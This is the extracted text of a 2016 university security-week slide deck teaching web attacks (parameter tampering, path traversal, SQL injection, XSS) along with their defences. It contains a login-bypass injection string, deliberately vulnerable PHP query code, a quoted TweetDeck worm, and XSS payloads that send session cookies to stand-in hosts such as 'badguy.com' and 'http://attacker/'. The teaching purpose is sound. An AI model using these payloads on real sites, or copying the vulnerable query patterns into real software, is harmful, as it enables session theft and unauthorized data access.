NOVEMBER 4 – 5
TexSAW 2016
6th ANNUAL
TExAS SECURITY AWARENESS WEEK
ERIK JONSSON SCHOOL OF ENGINEERING & COMPUTER SCIENCE
Celebrating 30 Years
THE UNIVERSITY OF TEXAS AT DALLAS
Presenting Sponsor
State Farm
Supporting Sponsor
Raytheon
Topics in Web Security

Marina George, Paul Murley, Kristen Williams, and Travis Wright

TexSAW 2016
Disclaimer

Do **NOT** use the methods shown on websites not specified for web security practice.

It is **ILLEGAL**.
Topics

• Crash Course: Web Architecture

• Parameter Tampering

• Path Traversal

• SQL Injection

• Cross Site Scripting (XSS)
Web Architecture
Client-Server Architecture

- Send Request to Server
- Send Response to Client
HTML

<div class="page" id="page">
<!-- Begin .header -->
<header class="header cf" role="banner">
<a href="#" class="logo" alt="Logo Alt Text" /></a>  
<a href="#search-form" class="nav-toggle nav-toggle-menu icon-menu"><span class="is-vishidden">Menu</span></a>
<nav id="nav" class="nav">
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Blog</a></li>
<li><a href="#">Contact</a></li>
</ul>
</nav>
<!-- End .nav -->
<form action="#" method="post" class="inline-form search-form">
<fieldset>
<legend class="is-vishidden">Search</legend>
<label for="search-field" class="is-vishidden">Search</label>
<input type="search" placeholder="Search" id="search-field" class="search-field" />
<button class="search-submit">
<span class="icon-search aria-hidden="true">
</span>
<span class="is-vishidden">Search</span>
</button>
</fieldset>
</form>
<!-- End .header -->
<main role="main">
<div href="http://www.fillerati.com" class="inner">
</div>
</main>
CSS

```css
body {
  @property "body";
  font-family: "Trebuchet MS", Helvetica, Arial, sans-serif;
  color: @contentText;
  word-wrap: break-word;
  line-height: 1.27;
  @property "/body";
}

/* counteract the word-wrap setting in 'body' */
pre, textarea {
  word-wrap: normal;
}
```
HTTP Request

```
GET /index.html HTTP/1.1
Host: www.website.com
```
HTTP Response

HTTP/1.1 200 OK
Date: Mon, 17 October 2016 12:00:00 GMT
Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux)
Last-Modified: Mon, 23 May 2005 12:00:00 GMT
Etag: "12345678987654321"
Accept-Ranges: bytes
Content-Length: 512
Connection: close
Content-Type: text/html; charset=UTF-8
/**
 * Saves the object to the database
 * @return integer $bookId
 */
function Save()
{
    $Database = new DatabaseConnection();
    $query = "select bookid from 'book' where 'bookid'=".$this->bookId." LIMIT 1";
    $Database->Query($query);
    if ($Database->Rows() > 0)
    {
        $query = "update 'book' set 
        'booktitle'=".$Database->Escape($this->bookTitle).",
        'price'=".$Database->Escape($this->price).",
        'author'=".$Database->Escape($this->author)." where 'bookid'=".$this->bookId."";
    }
    else
    {
        $query = "insert into 'book' ('booktitle', 'price', 'author') values ( 
        '".$Database->Escape($this->bookTitle)."',
        '".$Database->Escape($this->price)."',
        '".$Database->Escape($this->author)."');
    }
$Database->InsertOrUpdate($query);
if ($this->bookId == '')
{
    $this->bookId = $Database->GetCurrentId();
}
return $this->bookId;
function validateForm() {
    var x = document.forms["myForm"]["fname"].value;
    if (x == null || x == "") {
        alert("Name must be filled out");
        return false;
    }
}

Show snippet of javascript

Talk about things javascript can do
Cookies

Browser security features:
HTTP Cookie

HTTP client

GET / HTTP/1.1

HTTP/1.1 200 OK
Date: Wed, 02 Jun 2010 04:57:17 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Set-Cookie: JSESSIONID=5619B57CC; Path=/
...

GET /leaderboard.html HTTP/1.1
Host: www.theserverside.com
Cookie: JSESSIONID=5619B57CC
...

HTTP server
Topics

• Crash Course: Web Architecture

• **Parameter Tampering**

• Path Traversal

• SQL Injection

• Cross Site Scripting (XSS)
Parameter Tampering

• “the manipulation of parameters exchanged between client and server in order to modify application data” - OWASP

• Modification of certain values in the URL and/or page’s form field data to gain access to unauthorized information. - TechTarget
Example #1

I want to buy this book
Value is $70.00
Pay for it with PayPal
Here is how much I owe you

Sounds good

Merchant

Student

PayPal

<input type="hidden" id="123" name="cost" value="70.00">
The book is shipped

Student

PayPal

I paid

Tell them you paid

Merchant
Here is how much I owe you ($7.00)
Attack

Original Parameter Values:

<input type="hidden" id="product-1" name="cost" value="70.00" >

Values after Parameter Tampering:

<input type="hidden" id="product-1" name="cost" value="7.00" >
Attack

Student

I paid $70.00

The Book is Shipped!

Tell them you paid

PayPal

Merchant
Prescriptions and refills delivered to your door.

pharmacy

Health Profile

Jenny Smith
Update Profile

Sex: Female
Birthday: 5/5/1970
Phone number: 408-4345756
Address: 343 1st st, San Jose, CA
Medical Conditions: Pregnancy ; AIDS
Current Medication: Prozac

patientid=790865
You can change the patient id!


Topics

• Crash Course: Web Architecture
• Parameter Tampering
  • Path Traversal
• SQL Injection
• Cross Site Scripting (XSS)
Tree Structure in Linux

```
Linux directory structure
```
```
/home/tom/documents
```
```
/text
```
```
/presentations
```
```
/spreadsheets
```

[boot loader]
timeout=0
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

[boot loader]
timeout=0
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
Force Browsing

“Forced browsing is an attack where the aim is to enumerate and access resources that are not referenced by the application, but are still accessible.” - OWASP

The attacker can get access to unlinked content such as files and directories that could contain sensitive information or source code. - OWASP
Activity

Challenges at:
http://battleschool.securitycompass.com/web/index
How to Prevent Parameter Tampering and Path Traversal

- Validate parameters before they are used.
- Use access control mechanisms to restrict access to certain resources.
- Get input from reliable sources when possible rather than the user.
Validate parameters before they are used

Code to validate that input does not contain HTML:

```csharp
using System.Text.RegularExpressions;

private bool ContainsHTML(string CheckString) {
    return Regex.IsMatch(CheckString, "<(.*>|
                      \n)*?>");
}
```
Use access control mechanisms to restrict access to certain resources
Get input from reliable sources when possible rather than the user.

I want to buy this book

Value is $70.00
Pay for it with PayPal
Student

Here is how much I owe you

Sounds good

PayPal

<input type="hidden" id="123" name="cost" value="70.00">
You need to pay $70.00

The student needs to pay $70.00
Here is the payment

The student paid $70.00

The book is shipped
Topics

• Crash Course: Web Architecture
• Parameter Tampering
• Path Traversal
• SQL Injection
• Cross Site Scripting (XSS)
SQL

- SQL (Structured Query Language) is a common database framework used by web applications
- Basic commands:
  - CREATE – make a new entry in the database
  - INSERT – put new data into a table
  - UPDATE – modify existing records
  - DELETE – remove an entry from the database
  - DROP – remove an entire column, table, etc.
  - SELECT – retrieve information
  - WHERE – extract data that meets a condition
# Sample Database: Users Table

<table>
<thead>
<tr>
<th>name</th>
<th>age</th>
<th>address</th>
<th>salary</th>
<th>pnum</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alice</td>
<td>40</td>
<td>123 Park Street</td>
<td>60000</td>
<td>1</td>
</tr>
<tr>
<td>Bob</td>
<td>25</td>
<td>345 Campbell Road</td>
<td>40000</td>
<td>2</td>
</tr>
<tr>
<td>Cat</td>
<td>32</td>
<td>567 Frankford Road</td>
<td>35000</td>
<td>1</td>
</tr>
<tr>
<td>Joe</td>
<td>50</td>
<td>789 Park Street</td>
<td>55000</td>
<td>3</td>
</tr>
<tr>
<td>Kathy</td>
<td>66</td>
<td>111 Plano Parkway</td>
<td>42000</td>
<td>5</td>
</tr>
<tr>
<td>George</td>
<td>62</td>
<td>121 Greenville Avenue</td>
<td>67000</td>
<td>1</td>
</tr>
</tbody>
</table>
### Sample Database: Project Table

<table>
<thead>
<tr>
<th>pnumber</th>
<th>pname</th>
<th>plocation</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Project X</td>
<td>Dallas</td>
</tr>
<tr>
<td>2</td>
<td>Project Y</td>
<td>Dallas</td>
</tr>
<tr>
<td>3</td>
<td>Project Z</td>
<td>Houston</td>
</tr>
<tr>
<td>4</td>
<td>Middleware</td>
<td>Austin</td>
</tr>
<tr>
<td>5</td>
<td>Lazer Printers</td>
<td>Dallas</td>
</tr>
</tbody>
</table>
```
insert into Users(name, age, address, salary, pnum)
values ("Jack", 43, "124 Park Street", 50000, 4);
```

<table>
<thead>
<tr>
<th>name</th>
<th>age</th>
<th>address</th>
<th>salary</th>
<th>pnum</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alice</td>
<td>40</td>
<td>123 Park Street</td>
<td>60000</td>
<td>1</td>
</tr>
<tr>
<td>Bob</td>
<td>25</td>
<td>345 Campbell Road</td>
<td>40000</td>
<td>2</td>
</tr>
<tr>
<td>Cat</td>
<td>32</td>
<td>567 Frankford Road</td>
<td>35000</td>
<td>1</td>
</tr>
<tr>
<td>Joe</td>
<td>50</td>
<td>789 Park Street</td>
<td>55000</td>
<td>3</td>
</tr>
<tr>
<td>Kathy</td>
<td>66</td>
<td>111 Plano Parkway</td>
<td>42000</td>
<td>5</td>
</tr>
<tr>
<td>George</td>
<td>62</td>
<td>121 Greenville Avenue</td>
<td>67000</td>
<td>1</td>
</tr>
<tr>
<td>Jack</td>
<td>43</td>
<td>124 Park Street</td>
<td>50000</td>
<td>4</td>
</tr>
</tbody>
</table>
update Users set salary = 60000
where name = "Bob";

<table>
<thead>
<tr>
<th>name</th>
<th>age</th>
<th>address</th>
<th>salary</th>
<th>pnum</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alice</td>
<td>40</td>
<td>123 Park Street</td>
<td>60000</td>
<td>1</td>
</tr>
<tr>
<td>Bob</td>
<td>25</td>
<td>345 Campbell Road</td>
<td>40000</td>
<td>2</td>
</tr>
<tr>
<td>Cat</td>
<td>32</td>
<td>567 Frankford Road</td>
<td>35000</td>
<td>1</td>
</tr>
<tr>
<td>Joe</td>
<td>50</td>
<td>789 Park Street</td>
<td>55000</td>
<td>3</td>
</tr>
<tr>
<td>Kathy</td>
<td>66</td>
<td>111 Plano Parkway</td>
<td>42000</td>
<td>5</td>
</tr>
<tr>
<td>George</td>
<td>62</td>
<td>121 Greenville Avenue</td>
<td>67000</td>
<td>1</td>
</tr>
<tr>
<td>Jack</td>
<td>43</td>
<td>124 Park Street</td>
<td>50000</td>
<td>4</td>
</tr>
</tbody>
</table>
SQL

• To select a user:

```sql
SELECT * from Users WHERE name = 'Bob';
```

• The username is determined at runtime, so let’s make it:

```sql
SELECT * from Users WHERE name = '${name}';
```

• For example, if $name is “Joe”:

```sql
SELECT * from Users WHERE name = 'Joe';
```
Example

Result of query:

```sql
SELECT * from Users WHERE name = 'Joe';
```

<table>
<thead>
<tr>
<th>name</th>
<th>age</th>
<th>address</th>
<th>salary</th>
<th>pnum</th>
</tr>
</thead>
<tbody>
<tr>
<td>Joe</td>
<td>50</td>
<td>789 Park Street</td>
<td>55000</td>
<td>3</td>
</tr>
</tbody>
</table>
### SQL

- We have a database with this Project table

<table>
<thead>
<tr>
<th>pnumber</th>
<th>pname</th>
<th>plocation</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Project X</td>
<td>Dallas</td>
</tr>
<tr>
<td>2</td>
<td>Project Y</td>
<td>Dallas</td>
</tr>
<tr>
<td>3</td>
<td>Project Z</td>
<td>Houston</td>
</tr>
<tr>
<td>4</td>
<td>Middleware</td>
<td>Austin</td>
</tr>
<tr>
<td>5</td>
<td>Lazer Printers</td>
<td>Dallas</td>
</tr>
</tbody>
</table>
SQL

SELECT * FROM Project WHERE pname = 'Project X';

<table>
<thead>
<tr>
<th>pnumber</th>
<th>pname</th>
<th>plocation</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Project X</td>
<td>Dallas</td>
</tr>
</tbody>
</table>
SQL Injection

• So what good is this to us as attackers?
  – Remember that $name variable?

    SELECT * from users WHERE name = '$name';

    We control it! How about in this one?

    SELECT * FROM users WHERE username=$user AND password=$pass
Vulnerable Code

$name = \$argv[0]; //user input
$query = "SELECT * FROM Users
    WHERE name = \'\$name\';";
$result = pg_query($conn, $query);
SQL Injection

• Try setting $user equal to:

  `$me' OR '1' = '1';`  

• Now we get the query:

  `SELECT * FROM users WHERE username=‘me’ OR ‘1’ = ‘1’;`  

What does this do?
SELECT * FROM users
WHERE username='me' OR '1' = '1'; --

• Retrieves the records for all users
• The query looks for tuples where username = me is true
  
  OR

  1=1 is true (always true)

• -- comments out the rest of the line
Preventing SQL Injections

• Use prepared statements aka parameterized queries.

$query = "SELECT * FROM Users WHERE name = ?"
$stmt = $mysqli->prepare($query);
$stmt ->bindParam( 1, $name);
$name = $argv[0];
$stmt->execute();
SQL Injection - Exercise

http://www.codebashing.com/sql_demo
http://battleschool.securitycompass.com/web/index
Topics

• Crash Course: Web Architecture

• Parameter Tampering

• Path Traversal

• SQL Injection

• Cross Site Scripting (XSS)
Cross Site Scripting

• Exploits the trust your browser has in a website

• Usually requires victim clicking or visiting a link to a trusted website

• Results in attacker running arbitrary Javascript in victim browser
The Setup

• User input is echoed into HTML response.
• **Example:** search field
  – search.php responds with:

```html
<HTML>
<TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
...
</BODY> </HTML>
```
The Malicious Link

• Consider link:  (properly URL encoded)

<script> window.open("http://badguy.com?cookie = " + 
document.cookie ) </script>

• What if user clicks on this link?
So What?

- Why would user click on such a link?
  - Phishing email in webmail client (e.g. gmail).
  - Link in doubleclick banner ad

- What if badguy.com gets cookie for victim.com?
  - Cookie can include session auth or other sensitive data only intended for victim.com
Reflected Cross Site Scripting

1. Check this out: http://website/search?keyword=<script>...

2. GET http://website/search?keyword=<script>...

3. GET http://website/search?keyword=<script>...

4. GET http://attacker/?cookie=sensitive-data

Attacker
Attacker's Server

Website
Website's Response Script
print "<html>
print "You searched for:"
print request.query['keyword']
print "</html>"

Victim's Browser
Website's Response to Victim
<html>
You searched for:
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>
</html>
Regular Cross Site Scripting
Example - TweetDeck

*andy
@derGeruhn

```html
<script class="xss">$('.'xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>
```

9:36 AM - 11 Jun 2014
XSS Exercise

https://xss-game.appspot.com/

Try to use as few hints as possible!
Summary

• Crash Course: Web Architecture
• Parameter Tampering
• SQL Injection
• Cross Site Scripting (XSS)
Questions?

Marina George – mxa120230@utdallas.edu
Paul Murley – Paul.Murley@utdallas.edu
Kristen Williams – kxw120630@utdallas.edu
Travis Wright – tnw130030@utdallas.edu
References

https://blog.barricade.io/cross-site-request-forgery-visually-explained/
http://excess-xss.com/
https://crypto.stanford.edu/cs155old/cs155-spring09/lectures/17-web-site-sec.ppt